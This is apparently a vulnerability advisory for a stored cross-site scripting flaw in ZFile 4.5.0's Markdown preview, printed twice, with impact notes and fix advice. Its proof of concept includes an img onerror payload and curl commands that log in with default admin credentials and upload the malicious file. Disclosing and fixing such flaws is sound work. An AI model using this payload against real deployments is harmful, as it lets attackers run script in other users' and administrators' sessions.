Summary
The Markdown preview feature in ZFile 4.5.0 passes the contents of .md files to marked for conversion into HTML, and then directly inserts the result into the page through v-html / innerHTML. Because no HTML security sanitization is performed before rendering, an attacker can upload a Markdown file containing event handlers, causing JavaScript to execute when other users preview the file. This issue has been reproduced in a local Docker environment.
Details
The vulnerability trigger chain is as follows:
- A user writes a
.md file through the upload API, and the file content is saved as-is:
src/main/java/im/zhaojun/zfile/module/storage/controller/proxy/ProxyUploadController.java:26-47
src/main/java/im/zhaojun/zfile/module/storage/service/impl/LocalServiceImpl.java:151-166
- The file list API returns file items and their download URLs. When the frontend previews a Markdown file, it reads the raw text from that URL:
src/main/java/im/zhaojun/zfile/module/storage/controller/file/FileController.java:70-95
src/main/java/im/zhaojun/zfile/module/storage/service/impl/LocalServiceImpl.java:270-280
- The frontend Markdown preview component passes the file content to
marked for conversion into HTML, and directly writes the result into innerHTML:
codebase/zfile-release/4.5.0/extracted/static/assets/MarkdownViewer-a089cbe3.js:1
The equivalent key logic is as follows:
getFileTextReq(fileUrl, "text").then(res => {
fileContent.value = res.data
})
markdownHtml = marked(fileContent.value, {
highlight: ...
})
<div class="dialog-scroll markdown-body" v-html="markdownHtml"></div>
In the built artifacts, the default configuration of marked contains sanitize:false, and the component does not call DOMPurify or an equivalent sanitizer between marked(...) and innerHTML. Therefore, the following Markdown content will be preserved as a real <img> tag. After src=x fails to load, the onerror handler is triggered, executing the JavaScript inside it:
<img src=x onerror="alert('zfile_xss')">
PoC
BASE=http://localhost:35731
COOKIE=/tmp/zfile_xss.cookie
POC=/tmp/zfile_xss_poc.md
cat > "$POC" <<'EOF'
<img src=x onerror="alert('zfile_xss')">
EOF
curl -sS -c "$COOKIE" \
-H 'Content-Type: application/json' \
--data '{"username":"admin","password":"zfile123"}' \
"$BASE/user/login"
curl -sS -b "$COOKIE" -X PUT \
-F "file=@$POC;type=text/markdown" \
"$BASE/file/upload/local/tmp_zfile_dir_xss?filename=zfile_xss_poc.md"
curl -sS -b "$COOKIE" -X POST "$BASE/api/storage/files" \
-H 'Content-Type: application/json' \
--data '{"storageKey":"local","path":"/tmp_zfile_dir_xss/"}'
The upload and file list response results are shown below:
Then open the browser:
- Visit
http://localhost:35731/login and log in with admin / zfile123.
- Open
http://localhost:35731/local/tmp_zfile_dir_xss.
- Double-click
zfile_xss_poc.md.
- After the Markdown preview dialog opens, the browser displays an alert saying
zfile_xss.
Impact
This is a stored XSS vulnerability. An attacker who has upload permissions, or who can write files to a configured storage source, can place a malicious Markdown file. Any user who has permission to access and preview that file will execute the attacker’s script in the same-origin page of ZFile.
If an administrator previews the malicious file, the script can call same-origin APIs in the administrator’s browser context, perform actions within the administrator’s privileges, or read data accessible from the page. This verification confirmed that an alert can be triggered when a logged-in administrator opens the frontend Markdown file.
Suggested Fix
It is recommended to apply whitelist-based HTML sanitization to the output of marked in the Markdown preview chain before passing it to v-html, for example by using DOMPurify, and to explicitly remove event attributes such as onerror and onclick, as well as javascript: URLs and dangerous data: URLs.
A more robust approach is to disable raw Markdown HTML by default in file preview scenarios: customize the marked renderer/tokenizer to escape or discard HTML tokens, while retaining only basic Markdown formatting. Since ZFile is used for file browsing and previewing, there is usually no need to allow user-uploaded Markdown files to execute arbitrary HTML.
Additionally, do not rely only on filtering at the upload API, because files may also come from existing local directories, mounted storage, or third-party storage sources. The fix should be placed at a unified output-processing point before preview rendering.
Summary
The Markdown preview feature in ZFile 4.5.0 passes the contents of
.mdfiles tomarkedfor conversion into HTML, and then directly inserts the result into the page throughv-html/innerHTML. Because no HTML security sanitization is performed before rendering, an attacker can upload a Markdown file containing event handlers, causing JavaScript to execute when other users preview the file. This issue has been reproduced in a local Docker environment.Details
The vulnerability trigger chain is as follows:
.mdfile through the upload API, and the file content is saved as-is:src/main/java/im/zhaojun/zfile/module/storage/controller/proxy/ProxyUploadController.java:26-47src/main/java/im/zhaojun/zfile/module/storage/service/impl/LocalServiceImpl.java:151-166src/main/java/im/zhaojun/zfile/module/storage/controller/file/FileController.java:70-95src/main/java/im/zhaojun/zfile/module/storage/service/impl/LocalServiceImpl.java:270-280markedfor conversion into HTML, and directly writes the result intoinnerHTML:codebase/zfile-release/4.5.0/extracted/static/assets/MarkdownViewer-a089cbe3.js:1The equivalent key logic is as follows:
In the built artifacts, the default configuration of
markedcontainssanitize:false, and the component does not call DOMPurify or an equivalent sanitizer betweenmarked(...)andinnerHTML. Therefore, the following Markdown content will be preserved as a real<img>tag. Aftersrc=xfails to load, theonerrorhandler is triggered, executing the JavaScript inside it:PoC
The upload and file list response results are shown below:
Then open the browser:
http://localhost:35731/loginand log in withadmin / zfile123.http://localhost:35731/local/tmp_zfile_dir_xss.zfile_xss_poc.md.zfile_xss.Impact
This is a stored XSS vulnerability. An attacker who has upload permissions, or who can write files to a configured storage source, can place a malicious Markdown file. Any user who has permission to access and preview that file will execute the attacker’s script in the same-origin page of ZFile.
If an administrator previews the malicious file, the script can call same-origin APIs in the administrator’s browser context, perform actions within the administrator’s privileges, or read data accessible from the page. This verification confirmed that an alert can be triggered when a logged-in administrator opens the frontend Markdown file.
Suggested Fix
It is recommended to apply whitelist-based HTML sanitization to the output of
markedin the Markdown preview chain before passing it tov-html, for example by using DOMPurify, and to explicitly remove event attributes such asonerrorandonclick, as well asjavascript:URLs and dangerousdata:URLs.A more robust approach is to disable raw Markdown HTML by default in file preview scenarios: customize the
markedrenderer/tokenizer to escape or discard HTML tokens, while retaining only basic Markdown formatting. Since ZFile is used for file browsing and previewing, there is usually no need to allow user-uploaded Markdown files to execute arbitrary HTML.Additionally, do not rely only on filtering at the upload API, because files may also come from existing local directories, mounted storage, or third-party storage sources. The fix should be placed at a unified output-processing point before preview rendering.